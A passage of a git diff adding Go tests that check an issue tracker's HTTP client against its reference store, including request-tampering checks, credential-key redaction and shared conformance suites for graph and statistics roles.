TestDualRunReaderAgreesWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + _, local, remote, scope := dualRunFixture(t, "reader") + + ready := issueops.ReadyRequest{Labels: []string{scope}, Sort: "priority", Limit: ptrTo(0)} + wantReady, err := local.Ready(ctx, ready) + if err != nil { + t.Fatalf("reference Ready: %v", err) + } + gotReady, err := remote.Ready(ctx, ready) + if err != nil { + t.Fatalf("http Ready: %v", err) + } + assertSameJSON(t, "Reader.Ready", wantReady, gotReady) + + for _, sortBy := range []string{"", "created", "priority", "id"} { + list := issueops.ListRequest{Labels: []string{scope}, SortBy: sortBy, Limit: ptrTo(0)} + wantList, err := local.List(ctx, list) + if err != nil { + t.Fatalf("reference List (sort %q): %v", sortBy, err) + } + gotList, err := remote.List(ctx, list) + if err != nil { + t.Fatalf("http List (sort %q): %v", sortBy, err) + } + assertSameJSON(t, "Reader.List (sort "+sortBy+")", wantList, gotList) + } + + for _, get := range []issueops.GetRequest{ + {ID: scope + "-a"}, + {ID: scope + "-a", IncludeDependents: true, IncludeComments: true}, + {ID: scope + "-b", IncludeDependents: true}, + } { + wantGet, err := local.Get(ctx, get) + if err != nil { + t.Fatalf("reference Get(%+v): %v", get, err) + } + gotGet, err := remote.Get(ctx, get) + if err != nil { + t.Fatalf("http Get(%+v): %v", get, err) + } + assertSameJSON(t, "Reader.Get", wantGet, gotGet) + } +} + +// TestDualRunCloseHistoryAgreesWithTheReferenceStore is the write-side dual run: +// the same multi-item batch close, answered once by the reference store's own +// BatchCloser and once by the http client through the server that serves it. +// +// It is the atomicity claim spelled as a comparison. Serving a batch close on ONE +// issues:batchClose call rather than a loop of closeIssue exists to keep the +// request's one-transaction/at-most-one-history-entry contract, and only a dual +// run against the local answer can show the wire round trip did not quietly turn +// N closes into N entries. Two mirror batches are seeded so each door closes its +// own, and both the durable history footprint and the per-item outcome shapes +// have to agree. +func TestDualRunCloseHistoryAgreesWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, _, _, scope := dualRunFixture(t, "closehist") + + localCloser, err := c.reference.BatchCloser() + if err != nil { + t.Fatalf("reference BatchCloser(): %v", err) + } + remoteCloser, err := c.client.BatchCloser() + if err != nil { + t.Fatalf("http BatchCloser(): %v", err) + } + + seed := func(prefix string, n int) []issueops.BatchCloseItem { + items := make([]issueops.BatchCloseItem, n) + for i := range items { + id := scope + "-" + prefix + "-" + strconv.Itoa(i) + issue := &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, + IssueType: types.TypeTask, Labels: []string{scope}, + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + items[i] = issueops.BatchCloseItem{IssueID: id, Reason: "done"} + } + return items + } + // Both mirror batches are seeded up front, so the only history the deltas + // below can see is the close each door makes. + localItems := seed("local", 3) + remoteItems := seed("remote", 3) + + closeAndCount := func(name string, closer issueops.BatchCloser, items []issueops.BatchCloseItem) (issueops.CloseBatchResult, int) { + before, err := c.countHistory(ctx) + if err != nil { + t.Fatalf("%s history before: %v", name, err) + } + res, err := closer.CloseBatch(ctx, issueops.CloseBatchRequest{Actor: "closer", Items: items, Session: "s"}) + if err != nil { + t.Fatalf("%s CloseBatch: %v", name, err) + } + after, err := c.countHistory(ctx) + if err != nil { + t.Fatalf("%s history after: %v", name, err) + } + return res, after - before + } + + localRes, localDelta := closeAndCount("reference", localCloser, localItems) + remoteRes, remoteDelta := closeAndCount("http", remoteCloser, remoteItems) + + // The load-bearing parity: the wire round trip records the same durable + // footprint the local batch does. A loop of closeIssue would show up here as + // three entries against the reference's one. + if remoteDelta != localDelta { + t.Errorf("history delta diverges: the http batch close wrote %d entries, the reference wrote %d for the same batch shape", + remoteDelta, localDelta) + } + // And the shape that parity is measured against: one transaction, at most one + // entry, for a batch where every item landed. + if localDelta != 1 { + t.Errorf("a %d-item reference batch recorded %d history entries, want exactly one (batchcloser.go's atomicity clause)", + len(localItems), localDelta) + } + + assertBatchOutcomesAgree(t, localRes, remoteRes) +} + +// assertBatchOutcomesAgree compares two batch results that closed mirror issue +// sets. The ids differ by construction, so the comparison is structural: the +// same count, the same landed/refused verdict per index, and the same Changed +// and OpenChildren — the fields a wire round trip could drop or reshape. +func assertBatchOutcomesAgree(t *testing.T, local, remote issueops.CloseBatchResult) { + t.Helper() + if len(local.Outcomes) != len(remote.Outcomes) { + t.Fatalf("outcome counts diverge: reference %d, http %d", len(local.Outcomes), len(remote.Outcomes)) + } + for i := range local.Outcomes { + l, r := local.Outcomes[i], remote.Outcomes[i] + if (l.Err == nil) != (r.Err == nil) { + t.Errorf("outcome %d: reference err=%v, http err=%v — the landed/refused verdict diverges", i, l.Err, r.Err) + continue + } + if (l.Issue == nil) != (r.Issue == nil) { + t.Errorf("outcome %d: reference issue-present=%t, http issue-present=%t", i, l.Issue != nil, r.Issue != nil) + } + if l.Changed != r.Changed { + t.Errorf("outcome %d: reference Changed=%t, http Changed=%t", i, l.Changed, r.Changed) + } + if l.OpenChildren != r.OpenChildren { + t.Errorf("outcome %d: reference OpenChildren=%d, http OpenChildren=%d", i, l.OpenChildren, r.OpenChildren) + } + } + if (local.ClaimedNext == nil) != (remote.ClaimedNext == nil) { + t.Errorf("ClaimedNext presence diverges: reference=%t, http=%t", local.ClaimedNext != nil, remote.ClaimedNext != nil) + } +} + +// TestDualRunQuerierAndReadyCounterAgreeWithTheReferenceStore is the same smoke +// for the other two roles this bead flipped. +func TestDualRunQuerierAndReadyCounterAgreeWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, _, _, scope := dualRunFixture(t, "roles") + + localQuerier, err := c.reference.Querier() + if err != nil { + t.Fatalf("reference Querier(): %v", err) + } + remoteQuerier, err := c.client.Querier() + if err != nil { + t.Fatalf("http Querier(): %v", err) + } + for _, req := range []issueops.QueryRequest{ + {Expression: "type=task AND label=" + scope, Limit: ptrTo(0)}, + {Expression: "(type=task OR type=bug) AND label=" + scope, SortBy: "priority", Limit: ptrTo(0)}, + {Expression: "(type=task OR type=bug) AND label=" + scope, SortBy: "priority", Reverse: true, Limit: ptrTo(2)}, + } { + want, err := localQuerier.Query(ctx, req) + if err != nil { + t.Fatalf("reference Query(%q): %v", req.Expression, err) + } + got, err := remoteQuerier.Query(ctx, req) + if err != nil { + t.Fatalf("http Query(%q): %v", req.Expression, err) + } + assertSameJSON(t, "Querier.Query("+req.Expression+")", want, got) + } + + localCounter, err := c.reference.ReadyCounter() + if err != nil { + t.Fatalf("reference ReadyCounter(): %v", err) + } + remoteCounter, err := c.client.ReadyCounter() + if err != nil { + t.Fatalf("http ReadyCounter(): %v", err) + } + req := issueops.ReadyRequest{Labels: []string{scope}, Sort: "priority"} + want, err := localCounter.CountReady(ctx, req) + if err != nil { + t.Fatalf("reference CountReady: %v", err) + } + got, err := remoteCounter.CountReady(ctx, req) + if err != nil { + t.Fatalf("http CountReady: %v", err) + } + assertSameJSON(t, "ReadyCounter.CountReady", want, got) +} + +// TestDualRunIDResolutionProbesAgreeWithTheReferenceStore covers D11's three +// store probes as ResolvePartialID makes them: the exact-ids fast path, the two +// prefix config reads, and the substring pass that has no wire operation. +func TestDualRunIDResolutionProbesAgreeWithTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, _, _, scope := dualRunFixture(t, "resolve") + present, absent := scope+"-a", scope+"-never-seeded" + + // The shapeless filter — neither an id set nor a parent — is the unbounded + // "everything" question, and it refuses rather than answering it. + if _, err := c.client.SearchIssues(ctx, "", types.IssueFilter{}); err == nil { + t.Error("a shapeless SearchIssues answered instead of refusing") + } else if !errors.Is(err, encode.ErrRefused) { + t.Errorf("a shapeless SearchIssues refused with %v, want the encoder's ledgered refusal", err) + } + + for _, ids := range [][]string{{present}, {absent}, {present, absent}} { + filter := types.IssueFilter{IDs: ids} + want, err := c.reference.SearchIssues(ctx, "", filter) + if err != nil { + t.Fatalf("reference SearchIssues(%v): %v", ids, err) + } + got, err := c.client.SearchIssues(ctx, "", filter) + if err != nil { + t.Fatalf("http SearchIssues(%v): %v", ids, err) + } + if len(got) != len(want) { + t.Fatalf("SearchIssues(%v) returned %d rows, reference returned %d", ids, len(got), len(want)) + } + for i := range want { + assertSameJSON(t, "SearchIssues row", want[i], got[i]) + } + } + + // The exact-hit fast path is the one ResolvePartialID reads as `err == nil && + // len(issues) > 0`, and the exact MISS has to be an empty result with a NIL + // error or resolution stops where it should fall through. + miss, err := c.client.SearchIssues(ctx, "", types.IssueFilter{IDs: []string{absent}}) + if err != nil || len(miss) != 0 { + t.Errorf("SearchIssues on an exact miss = (%d rows, %v), want (0, nil): a 404 is the empty result the resolver expects", len(miss), err) + } + + // The prefix probes. + if err := c.reference.SetConfig(ctx, "allowed_prefixes", "bd,http"); err != nil { + t.Fatalf("seed allowed_prefixes: %v", err) + } + // "no-such-setting" rather than "no-such-key": the server redacts by KEY + // SPELLING, and anything containing "key" is one of the spellings it treats + // as credential-bearing — which is ledger row L9 and is asserted on its own + // below, not by accident here. + for _, key := range []string{"issue_prefix", "allowed_prefixes", "no-such-setting"} { + want, err := c.reference.GetConfig(ctx, key) + if err != nil { + t.Fatalf("reference GetConfig(%q): %v", key, err) + } + got, err := c.client.GetConfig(ctx, key) + if err != nil { + t.Fatalf("http GetConfig(%q): %v", key, err) + } + if got != want { + t.Errorf("GetConfig(%q) = %q, reference answered %q", key, got, want) + } + } + + // Ledger row L9: a credential-bearing key is absent WITH A REASON rather than + // absent as an empty string. The server decides redaction from the key alone, + // so this holds whether or not the workspace stores anything under it — and + // "" would be a dropped read dressed as an unset key. + if _, err := c.client.GetConfig(ctx, "some.api_key"); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetConfig on a credential-bearing key = %v, want the withheld-with-reason refusal", err) + } + + // The substring pass. It has no wire operation, and the refusal is D11's own + // text rather than a bare sentinel, because the input may be a partial id OR + // a full id that does not exist and the client cannot tell which. + _, err = c.client.SearchIssues(ctx, "partial", types.IssueFilter{}) + var partial *PartialIDSearchError + if !errors.As(err, &partial) { + t.Fatalf("a substring SearchIssues = %v, want *PartialIDSearchError", err) + } + if partial.Input != "partial" || partial.ServerURL != c.baseURL { + t.Errorf("the refusal names input %q on server %q, want %q on %q", partial.Input, partial.ServerURL, "partial", c.baseURL) + } + if !errors.Is(err, ErrPartialIDSearch) { + t.Errorf("the refusal does not classify as ErrPartialIDSearch: %v", err) + } +} + +// TestTheCompositionCatchesAWrongParameter is the RED evidence. +// +// Each arm rewrites one correctly encoded request into a subtly wrong one and +// asserts the composition NOTICES. Without them every green test in this file +// would be equally green against a client that dropped a filter, because a +// dropped filter answers with MORE rows and every assertion here is written +// against rows that exist. +func TestTheCompositionCatchesAWrongParameter(t *testing.T) { + ctx := t.Context() + c, _, remote, scope := dualRunFixture(t, "tamper") + + honest, err := remote.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("the honest List: %v", err) + } + if len(honest.Items) != 3 { + t.Fatalf("the honest List returned %v, want the three rows this case seeded", pageIDs(honest)) + } + + t.Run("a dropped filter widens the answer", func(t *testing.T) { + // Its own row outside the scope, so the unfiltered answer is wider + // whatever else the shared composition holds. Without it the case + // leaned on rows earlier tests had seeded: run alone, or first in its + // shard, the scope's three rows were the whole workspace, and dropping + // the filter answered the same. + outside := &types.Issue{ + ID: scope + "-outside", Title: "outside", Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Labels: []string{scope + "-outside"}, CreatedAt: time.Now().UTC(), + } + if err := c.seedIssue(ctx, outside, "seed"); err != nil { + t.Fatalf("seed %s: %v", outside.ID, err) + } + dropped := c.tamperedClient(t, func(req *wire.Request) { req.Query.Del("label") }) + reader, err := dropped.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List with the label parameter dropped: %v", err) + } + if slices.Equal(pageIDs(page), pageIDs(honest)) { + t.Fatal("dropping the `label` parameter changed nothing: this composition cannot see a dropped filter, " + + "which is the one failure class no server-side gate can observe") + } + }) + + t.Run("a misspelled parameter is refused rather than ignored", func(t *testing.T) { + misspelled := c.tamperedClient(t, func(req *wire.Request) { + if req.Query.Has("include_comments") { + req.Query.Del("include_comments") + req.Query.Set("includeComments", "true") + } + }) + reader, err := misspelled.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + _, err = reader.Get(ctx, issueops.GetRequest{ID: scope + "-a", IncludeComments: true}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("a misspelled parameter = %v, want the server's unknown_parameter refusal", err) + } + var problem *wire.ProblemError + if !errors.As(err, &problem) || problem.Reason != "unknown_parameter" { + t.Errorf("the refusal is %v, want reason \"unknown_parameter\" — the signal D7's case-3 text is built from", err) + } + }) + + t.Run("a wrong sort policy answers a different order", func(t *testing.T) { + // Its own rows, chosen so the two policies DISAGREE: the newer row is + // the higher priority, so `priority` leads with it and `oldest` leads + // with the other. Against rows where the orders coincide, a client that + // sent the wrong policy would be invisible — which is the whole reason + // the encoder sends a concrete policy rather than omitting an empty one. + sortScope := scope + "-sort" + now := time.Now().UTC() + urgent := &types.Issue{ + ID: sortScope + "-urgent", Title: "urgent", Status: types.StatusOpen, Priority: 0, + IssueType: types.TypeTask, Labels: []string{sortScope}, CreatedAt: now.Add(-time.Hour), + } + ancient := &types.Issue{ + ID: sortScope + "-ancient", Title: "ancient", Status: types.StatusOpen, Priority: 3, + IssueType: types.TypeTask, Labels: []string{sortScope}, CreatedAt: now.Add(-90 * 24 * time.Hour), + } + for _, issue := range []*types.Issue{urgent, ancient} { + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + req := issueops.ReadyRequest{Labels: []string{sortScope}, Sort: "priority", Limit: ptrTo(0)} + honestReady, err := remote.Ready(ctx, req) + if err != nil { + t.Fatalf("the honest Ready: %v", err) + } + if want := []string{urgent.ID, ancient.ID}; !slices.Equal(pageIDs(honestReady), want) { + t.Fatalf("the honest Ready --sort priority = %v, want %v", pageIDs(honestReady), want) + } + + flipped := c.tamperedClient(t, func(req *wire.Request) { + if req.Query.Get("sort") == "priority" { + req.Query.Set("sort", "oldest") + } + }) + reader, err := flipped.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + tamperedReady, err := reader.Ready(ctx, req) + if err != nil { + t.Fatalf("Ready with the sort policy rewritten: %v", err) + } + if slices.Equal(pageIDs(honestReady), pageIDs(tamperedReady)) { + t.Fatalf("rewriting `sort` changed nothing (%v): the ready policy this client sends is unobservable here", + pageIDs(honestReady)) + } + }) +} diff --git a/internal/httpclient/served_graph_aux_test.go b/internal/httpclient/served_graph_aux_test.go new file mode 100644 index 000000000..ce8ac1954 --- /dev/null +++ b/internal/httpclient/served_graph_aux_test.go @@ -0,0 +1,255 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_graph_aux_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The per-role contract wirings for the graph and aux read roles. +// +// Every case here is the SHARED contract, unmodified: the same function the +// embedded-Dolt and unit-of-work backends run, bound to a fixture whose subject +// is the http client and whose seed hooks come off the reference store the +// server serves. A case that passes has proved the behavior ACROSS THE WIRE +// rather than proving the client agrees with itself. +// +// NOTHING IS PARKED IN THIS FILE, and that is worth saying because an earlier +// revision parked thirteen cases. The two hooks they needed — Exec, for seeding +// a cycle past every gate, and CountHistory, for the writes-nothing clause — are +// raw SQL, and holding a SQL handle open alongside the live server deadlocks the +// engine. servedEnv opens one PER CALL and closes it, which is what the embedded +// backend's own frozen fixture kit does, so both hooks are real here and every +// case runs. + +func TestServedCycleDetectorContract(t *testing.T) { + e := newServedEnv(t, "cyc") + detector, err := e.subject.CycleDetector() + if err != nil { + t.Fatalf("CycleDetector(): %v", err) + } + fixture := conformance.CycleDetectorFixture{ + IssuePrefix: "cyc", + Detector: detector, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + Exec: e.exec, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.CycleDetectorFixture) + }{ + {"ReportsNoCycleForAnAcyclicSubgraph", conformance.RunCycleDetectorReportsNoCycleForAnAcyclicSubgraph}, + {"FindsADurableCycleRotatedToItsLowestID", conformance.RunCycleDetectorFindsADurableCycleRotatedToItsLowestID}, + {"ReportsTheSameCyclesEveryRun", conformance.RunCycleDetectorReportsTheSameCyclesEveryRun}, + {"MergesTheDurableAndEphemeralPlanes", conformance.RunCycleDetectorMergesTheDurableAndEphemeralPlanes}, + {"FollowsOnlyBlockingEdges", conformance.RunCycleDetectorFollowsOnlyBlockingEdges}, + {"ReportsAnHonestPartial", conformance.RunCycleDetectorReportsAnHonestPartial}, + {"CountsAWhollyUndescribableCycle", conformance.RunCycleDetectorCountsAWhollyUndescribableCycle}, + {"WritesNothing", conformance.RunCycleDetectorWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +func TestServedTreeWalkerContract(t *testing.T) { + e := newServedEnv(t, "tre") + walker, err := e.subject.TreeWalker() + if err != nil { + t.Fatalf("TreeWalker(): %v", err) + } + fixture := conformance.TreeWalkerFixture{ + IssuePrefix: "tre", + TreeWalker: walker, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + Exec: e.exec, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.TreeWalkerFixture) + }{ + {"WalksTheDependenciesOfARoot", conformance.RunTreeWalkerWalksTheDependenciesOfARoot}, + {"WalksDependentsWhenAskedUp", conformance.RunTreeWalkerWalksDependentsWhenAskedUp}, + {"BoundsTheDescentAtMaxDepth", conformance.RunTreeWalkerBoundsTheDescentAtMaxDepth}, + {"TerminatesOnACycle", conformance.RunTreeWalkerTerminatesOnACycle}, + {"RendersASharedSubtreeOnce", conformance.RunTreeWalkerRendersASharedSubtreeOnce}, + {"MergesTheDurableAndEphemeralPlanes", conformance.RunTreeWalkerMergesTheDurableAndEphemeralPlanes}, + {"FollowsEveryTypeButRelatesTo", conformance.RunTreeWalkerFollowsEveryTypeButRelatesTo}, + {"PrunesEachHalfOfABothWalk", conformance.RunTreeWalkerPrunesEachHalfOfABothWalk}, + {"AnswersBothDirectionsWithTheRootOnce", conformance.RunTreeWalkerAnswersBothDirectionsWithTheRootOnce}, + {"PrunesByStatusKeepingAncestors", conformance.RunTreeWalkerPrunesByStatusKeepingAncestors}, + {"PrunesEverythingWhenNothingMatches", conformance.RunTreeWalkerPrunesEverythingWhenNothingMatches}, + {"AnswersARootWithNoEdges", conformance.RunTreeWalkerAnswersARootWithNoEdges}, + {"RefusesAnAbsentRoot", conformance.RunTreeWalkerRefusesAnAbsentRoot}, + {"ResolvesTheRootIDExactly", conformance.RunTreeWalkerResolvesTheRootIDExactly}, + {"CrossesPlanesFromAWispRootAndUpward", conformance.RunTreeWalkerCrossesPlanesFromAWispRootAndUpward}, + {"RefusesAnInvalidRequest", conformance.RunTreeWalkerRefusesAnInvalidRequest}, + {"RefusesAWalkOverTheRowCap", conformance.RunTreeWalkerRefusesAWalkOverTheRowCap}, + {"WritesNothing", conformance.RunTreeWalkerWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +func TestServedEdgeReaderContract(t *testing.T) { + e := newServedEnv(t, "edg") + reader, err := e.subject.EdgeReader() + if err != nil { + t.Fatalf("EdgeReader(): %v", err) + } + fixture := conformance.EdgeReaderFixture{ + IssuePrefix: "edg", + EdgeReader: reader, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.EdgeReaderFixture) + }{ + {"AnswersOnePerAnchorInRequestOrder", conformance.RunEdgeReaderAnswersOnePerAnchorInRequestOrder}, + {"ReportsAMissingAnchorRatherThanFailing", conformance.RunEdgeReaderReportsAMissingAnchorRatherThanFailing}, + {"DistinguishesNoEdgesFromNoAnchor", conformance.RunEdgeReaderDistinguishesNoEdgesFromNoAnchor}, + {"ReturnsTargetsVerbatim", conformance.RunEdgeReaderReturnsTargetsVerbatim}, + {"CollapsesRepeatedAnchors", conformance.RunEdgeReaderCollapsesRepeatedAnchors}, + {"OrdersEdgesByTarget", conformance.RunEdgeReaderOrdersEdgesByTarget}, + {"FiltersEdgesNotAnchors", conformance.RunEdgeReaderFiltersEdgesNotAnchors}, + {"ReadsBothPlanes", conformance.RunEdgeReaderReadsBothPlanes}, + {"ResolvesExactIDsOnly", conformance.RunEdgeReaderResolvesExactIDsOnly}, + {"AnswersAnEmptyRequest", conformance.RunEdgeReaderAnswersAnEmptyRequest}, + {"RefusesAnEmptyID", conformance.RunEdgeReaderRefusesAnEmptyID}, + {"RefusesAnUnusableType", conformance.RunEdgeReaderRefusesAnUnusableType}, + {"LeavesTheRequestAlone", conformance.RunEdgeReaderLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunEdgeReaderWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +func TestServedBlockingAnnotatorContract(t *testing.T) { + e := newServedEnv(t, "blk") + annotator, err := e.subject.BlockingAnnotator() + if err != nil { + t.Fatalf("BlockingAnnotator(): %v", err) + } + fixture := conformance.BlockingAnnotatorFixture{ + IssuePrefix: "blk", + Annotator: annotator, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.BlockingAnnotatorFixture) + }{ + {"AnswersOnePerIDInRequestOrder", conformance.RunBlockingAnnotatorAnswersOnePerIDInRequestOrder}, + {"CollapsesRepeatedIDs", conformance.RunBlockingAnnotatorCollapsesRepeatedIDs}, + {"ReportsOpenBlockersOnly", conformance.RunBlockingAnnotatorReportsOpenBlockersOnly}, + {"ReportsTheInboundDirection", conformance.RunBlockingAnnotatorReportsTheInboundDirection}, + {"SeparatesParentFromBlockers", conformance.RunBlockingAnnotatorSeparatesParentFromBlockers}, + {"DropsAClosedParent", conformance.RunBlockingAnnotatorDropsAClosedParent}, + {"OrdersAndCollapsesEachList", conformance.RunBlockingAnnotatorOrdersAndCollapsesEachList}, + {"CountsAnUnresolvableBlockerAsOpen", conformance.RunBlockingAnnotatorCountsAnUnresolvableBlockerAsOpen}, + {"ReadsBothPlanes", conformance.RunBlockingAnnotatorReadsBothPlanes}, + {"IgnoresNonBlockingEdgeTypes", conformance.RunBlockingAnnotatorIgnoresNonBlockingEdgeTypes}, + {"AnnotatesAnAbsentIDBare", conformance.RunBlockingAnnotatorAnnotatesAnAbsentIDBare}, + {"ResolvesExactIDsOnly", conformance.RunBlockingAnnotatorResolvesExactIDsOnly}, + {"ReportsAtMostOneParent", conformance.RunBlockingAnnotatorReportsAtMostOneParent}, + {"AnswersAnEmptyRequest", conformance.RunBlockingAnnotatorAnswersAnEmptyRequest}, + {"RefusesAnEmptyID", conformance.RunBlockingAnnotatorRefusesAnEmptyID}, + {"LeavesTheRequestAlone", conformance.RunBlockingAnnotatorLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunBlockingAnnotatorWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +// TestServedStatsReporterContract runs its cases SEQUENTIALLY against one store, +// which the contract requires: the workspace-wide cases assert before/after +// DELTAS rather than absolutes, so a concurrent writer would make them read each +// other's rows. +func TestServedStatsReporterContract(t *testing.T) { + e := newServedEnv(t, "sts") + reporter, err := e.subject.StatsReporter() + if err != nil { + t.Fatalf("StatsReporter(): %v", err) + } + fixture := conformance.StatsReporterFixture{ + IssuePrefix: "sts", + StatsReporter: reporter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.StatsReporterFixture) + }{ + {"CountsEveryDurableRowByStatus", conformance.RunStatsReporterCountsEveryDurableRowByStatus}, + {"ExcludesTheWispTier", conformance.RunStatsReporterExcludesTheWispTier}, + {"BreaksOutTheRowsTheDefaultListingSuppresses", conformance.RunStatsReporterBreaksOutTheRowsTheDefaultListingSuppresses}, + {"BreaksOutAGateThatIsAlsoATemplate", conformance.RunStatsReporterBreaksOutAGateThatIsAlsoATemplate}, + {"AStatusOutsideTheTalliesIsCountedOnlyInTotal", conformance.RunStatsReporterAStatusOutsideTheTalliesIsCountedOnlyInTotal}, + {"BlockedCountsTheGraphNotTheStatus", conformance.RunStatsReporterBlockedCountsTheGraphNotTheStatus}, + {"BlockedExcludesByStatusNotByThePinnedFlag", conformance.RunStatsReporterBlockedExcludesByStatusNotByThePinnedFlag}, + {"BlockedCountsEveryUnfinishedStatusNotJustOpen", conformance.RunStatsReporterBlockedCountsEveryUnfinishedStatusNotJustOpen}, + {"ReadyIsOpenMinusBlocked", conformance.RunStatsReporterReadyIsOpenMinusBlocked}, + {"SkipBlockedPairsTheTwoPointers", conformance.RunStatsReporterSkipBlockedPairsTheTwoPointers}, + {"ExtendedFieldsAreAlwaysZero", conformance.RunStatsReporterExtendedFieldsAreAlwaysZero}, + {"WritesNothing", conformance.RunStatsReporterWritesNothing}, + {"AssigneeStatsScopesToOneActor", conformance.RunStatsReporterAssigneeStatsScopesToOneActor}, + {"AssigneeBlockedCountsTheStatusNotTheGraph", conformance.RunStatsReporterAssigneeBlockedCountsTheStatusNotTheGraph}, + {"AssigneeStatsMergesTheWispTier", conformance.RunStatsReporterAssigneeStatsMergesTheWispTier}, + {"AssigneeStatsPopulatesBothPointers", conformance.RunStatsReporterAssigneeStatsPopulatesBothPointers}, + {"AssigneeStatsBreaksOutTheSuppressedRows", conformance.RunStatsReporterAssigneeStatsBreaksOutTheSuppressedRows}, + {"AssigneeStatsRefusesAnEmptyAssignee", conformance.RunStatsReporterAssigneeStatsRefusesAnEmptyAssignee}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} + +// THE WorkspaceConfig CONTRACT IS WIRED, and this block used to explain why it +// could not be. It is kept rather than deleted because the reason it gave was +// right, and because what retired it is not the reason it predicted. +// +// EVERY CASE IN THAT SUITE REACHES THE ROLE THROUGH SetSetting OR UnsetSetting — +// including the ones whose SUBJECT is a read, which seed the key they then read +// back, and including RefusesAnEmptyKey, which asserts ErrValidation from +// SetSetting("") itself. While settings were read-only over v0 (D8 row 11), a +// backend that cannot write could not adopt a suite whose every case writes, and +// the role was proved instead by two hand-written tests seeded PAST it plus one +// that pinned the two verbs as refusals naming themselves. +// +// The retirement path this block named was upstream's — "an accessor-only +// contract whose read cases seed out of band" — and that is NOT what happened. +// Upstream #5596 published both write operations and client wave ga-jpywb dials +// them, so the suite became adoptable WHOLE with no change to a single case: all +// twenty-one run in served_config_test.go, and the three hand-written stand-ins +// are gone, each having asserted a strict subset of what replaced it. +// +// THE LESSON WORTH KEEPING is which of the two retirement paths arrived. A +// contract this leg cannot adopt is a statement about the WIRE far more often +// than about the contract's shape, and rewriting a suite to accommodate a +// partial backend would have bought nothing that two operations did not buy +// outright. See D8 row 16's Lifecycle.Update ask, which is still open and is +// still the other kind. diff --git a/internal/httpclient/served_graph_counter_test.go b/internal/httpclient/served_graph_counter_test.go new file mode 100644 index 000000000..0e1e50d29 --- /dev/null +++ b/internal/httpclient/served_graph_counter_test.go @@ -0,0 +1,68 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_graph_counter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The GraphCounter contract, run through the http client against a real bd +// serve. +// +// NOTHING IS PARKED HERE. Every member of the request is a published parameter +// and both members of the answer are required ones, so the two facts the role +// is written around cross intact: the count SPANS BOTH DEPENDENCY PLANES — a +// durable anchor's inbound count includes the wisps that depend on it, which is +// one number the server sums over two tables and this client never recomputes — +// and Missing is a SENTINEL rather than a zero, which is the whole of the +// difference between a typo and an issue with no edges. +// +// The status filter's direction=out refusal is here too, and it is the one +// refusal on this role that a client could have quietly softened: the parameter +// is legal on the operation and illegal in one direction, so a client that +// simply forwarded it would earn a 400 with a param name and pass this case for +// the wrong reason. It does not forward it: the role's own validator refuses +// first, in the role's own order. +func TestServedGraphCounterContract(t *testing.T) { + e := newServedEnv(t, "gcn") + counter, err := e.subject.GraphCounter() + if err != nil { + t.Fatalf("GraphCounter(): %v", err) + } + fixture := conformance.GraphCounterFixture{ + IssuePrefix: "gcn", + GraphCounter: counter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + AddDependency: e.addDependency, + CountHistory: e.countHistory, + } + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.GraphCounterFixture) + }{ + {"CountsOutboundEdges", conformance.RunGraphCounterCountsOutboundEdges}, + {"CountsInboundEdges", conformance.RunGraphCounterCountsInboundEdges}, + {"AnswersOnePerAnchorInRequestOrder", conformance.RunGraphCounterAnswersOnePerAnchorInRequestOrder}, + {"DistinguishesNoEdgesFromNoAnchor", conformance.RunGraphCounterDistinguishesNoEdgesFromNoAnchor}, + {"CollapsesRepeatedAnchors", conformance.RunGraphCounterCollapsesRepeatedAnchors}, + {"FiltersEdgesNotAnchors", 